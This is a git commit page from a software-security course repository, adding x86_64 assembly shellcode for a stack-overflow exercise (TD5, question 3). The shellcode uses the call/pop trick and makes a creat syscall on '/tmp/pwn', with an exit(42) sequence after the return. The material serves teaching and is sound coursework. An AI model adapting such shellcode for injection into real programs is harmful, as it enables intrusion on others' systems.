Add TD5 q3 (first part)

2023-03-24 00:35:51 +01:00 · 2023-03-24 00:35:51 +01:00 · 4f61441bb9
commit 4f61441bb9
parent 72564e2e2d
7 changed files with 229 additions and 0 deletions
--- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
+++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
@ -0,0 +1,20 @@
+.text
+.globl _start
+
+_start:
+    call pwnd
+	.asciz "/tmp/pwn"
+
+pwnd:
+    # We are on x86_64, we must move 8 bytes up from stack pointer
+    popq %rdi
+    movq $0666, %rsi
+    movq $85, %rax
+    syscall
+    ret
+
+    # exit(42)
+	movq $42, %rdi
+	movq $60, %rax
+	syscall
+